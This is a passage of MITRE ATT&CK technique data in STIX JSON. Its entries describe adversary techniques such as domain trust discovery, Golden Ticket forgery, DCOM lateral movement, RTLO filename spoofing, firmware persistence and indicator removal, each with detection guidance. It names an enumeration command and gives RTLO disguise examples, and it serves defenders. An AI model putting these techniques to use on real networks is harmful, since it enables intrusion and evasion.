@redhuntlabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","created":"2019-02-14T16:15:05.974Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1482","url":"https://attack.mitre.org/techniques/T1482"},{"source_name":"Microsoft Operation Wilysupply","url":"https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/","description":"Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019."},{"source_name":"AdSecurity Forging Trust Tickets","url":"https://adsecurity.org/?p=1588","description":"Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019."},{"source_name":"Microsoft Trusts","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)","description":"Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019."},{"source_name":"Microsoft GetAllTrustRelationships","url":"https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships","description":"Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019."},{"source_name":"Harmj0y Domain Trusts","url":"https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944","description":"Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)","modified":"2022-04-05T19:58:03.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Domain Trust Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: OS API Execution","Script: Script Execution","Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itamar Mizrahi, Cymptom"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","type":"attack-pattern","created":"2020-02-11T19:13:33.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1558.001","url":"https://attack.mitre.org/techniques/T1558/001"},{"url":"https://adsecurity.org/?p=1640","description":"Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.","source_name":"AdSecurity Kerberos GT Aug 2015"},{"url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","source_name":"CERT-EU Golden Ticket Protection"},{"url":"https://adsecurity.org/?p=1515","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.","source_name":"ADSecurity Detecting Forged Tickets"},{"description":"Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.","url":"https://adsecurity.org/?p=483","source_name":"ADSecurity Kerberos and KRBTGT"},{"source_name":"Stealthbits Detect PtT 2019","url":"https://blog.stealthbits.com/detect-pass-the-ticket-attacks","description":"Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."},{"source_name":"Microsoft Kerberos Golden Ticket","url":"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285","description":"Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."}],"modified":"2020-11-05T16:07:03.779Z","name":"Golden Ticket","description":"Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Metadata","Active Directory: Active Directory Credential Request"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","external_id":"T1175","url":"https://attack.mitre.org/techniques/T1175"},{"source_name":"Fireeye Hunting COM June 2019","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx","description":"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.","source_name":"Microsoft COM"},{"url":"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1","description":"Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.","source_name":"Microsoft COM ACL"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx","description":"Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.","source_name":"Microsoft Process Wide Com Keys"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx","description":"Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.","source_name":"Microsoft System Wide Com Keys"},{"url":"https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html","description":"Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.","source_name":"ProjectZero File Write EoP Apr 2018"},{"url":"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/","description":"Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.","source_name":"Enigma Outlook DCOM Lateral Movement Nov 2017"},{"url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.","source_name":"Enigma MMC20 COM Jan 2017"},{"url":"https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/","description":"Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.","source_name":"Enigma DCOM Lateral Movement Jan 2017"},{"url":"https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/","description":"Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.","source_name":"Enigma Excel DCOM Sept 2017"},{"url":"https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom","description":"Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.","source_name":"Cyberreason DCOM DDE Lateral Movement Nov 2017"}],"modified":"2020-03-30T13:36:10.069Z","name":"Component Object Model and Distributed COM","description":"**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM","User"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ExtraHop"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","created":"2017-05-31T21:30:29.458Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1020","url":"https://attack.mitre.org/techniques/T1020"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).","modified":"2022-04-19T22:50:14.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Automated Exfiltration","x_mitre_detection":"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Flow","File: File Access","Command: Command Execution","Script: Script Execution","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c","type":"attack-pattern","created":"2020-10-02T16:47:16.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592.004","url":"https://attack.mitre.org/techniques/T1592/004"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:35:09.668Z","name":"Client Configurations","description":"Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Expel"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c","type":"attack-pattern","created":"2020-06-24T16:55:46.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562.007","url":"https://attack.mitre.org/techniques/T1562/007"},{"source_name":"Expel IO Evil in AWS","url":"https://expel.io/blog/finding-evil-in-aws/","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."}],"modified":"2021-03-08T10:33:02.146Z","name":"Disable or Modify Cloud Firewall","description":"Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor cloud logs for modification or creation of new security groups or firewall rules.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Firewall: Firewall Disable","Firewall: Firewall Rule Modification"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","type":"attack-pattern","created":"2020-02-10T19:55:29.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.002","url":"https://attack.mitre.org/techniques/T1036/002"},{"source_name":"Infosecinstitute RTLO Technique","url":"https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/","description":"Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019."},{"source_name":"Trend Micro PLEAD RTLO","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/","description":"Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019."},{"source_name":"Kaspersky RTLO Cyber Crime","url":"https://securelist.com/zero-day-vulnerability-in-telegram/83800/","description":"Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019."}],"modified":"2021-10-14T21:01:59.733Z","name":"Right-to-Left Override","description":"Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection methods should include looking for common formats of RTLO characters within filenames such as <code>\\u202E</code>, <code>[U+202E]</code>, and <code>%E2%80%AE</code>. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","type":"attack-pattern","created":"2020-10-01T02:06:11.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.001","url":"https://attack.mitre.org/techniques/T1588/001"},{"source_name":"FireEyeSupplyChain","description":"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.","url":"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"}],"modified":"2021-10-17T16:15:52.805Z","name":"Malware","description":"Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Metadata","Malware Repository: Malware Content"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","type":"attack-pattern","created":"2019-12-19T20:21:21.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1542.002","url":"https://attack.mitre.org/techniques/T1542/002"},{"description":"SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.","source_name":"SanDisk SMART"},{"url":"https://www.smartmontools.org/","description":"smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.","source_name":"SmartMontools"},{"url":"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html","description":"Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.","source_name":"ITWorld Hard Disk Health Dec 2014"}],"modified":"2022-04-01T20:43:55.632Z","name":"Component Firmware","description":"Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Driver: Driver Metadata","Process: OS API Execution","Firmware: Firmware Modification"],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","File monitoring"],"x_mitre_permissions_required":["SYSTEM"],"x_mitre_system_requirements":["Ability to update component device firmware from the host operating system."]},{"x_mitre_platforms":["Linux","macOS","Windows","Containers","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Brad Geesaman, @bradgeesaman","Ed Williams, Trustwave, SpiderLabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","type":"attack-pattern","created":"2017-05-31T21:30:55.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1070","url":"https://attack.mitre.org/techniques/T1070"},{"external_id":"CAPEC-93","source_name":"capec","url":"https://capec.mitre.org/data/definitions/93.html"}],"modified":"2022-04-01T20:24:14.332Z","name":"Indicator Removal on Host","description":"Adversaries may delete or modify artifacts generated on a host system to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"File system monitoring may be used to detect improper deletion or modification of indicator files.  Events not stored on the file system may require different detection mechanisms.","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Deletion","File: File Metadata","User Account: User Account Authentication","Process: Process 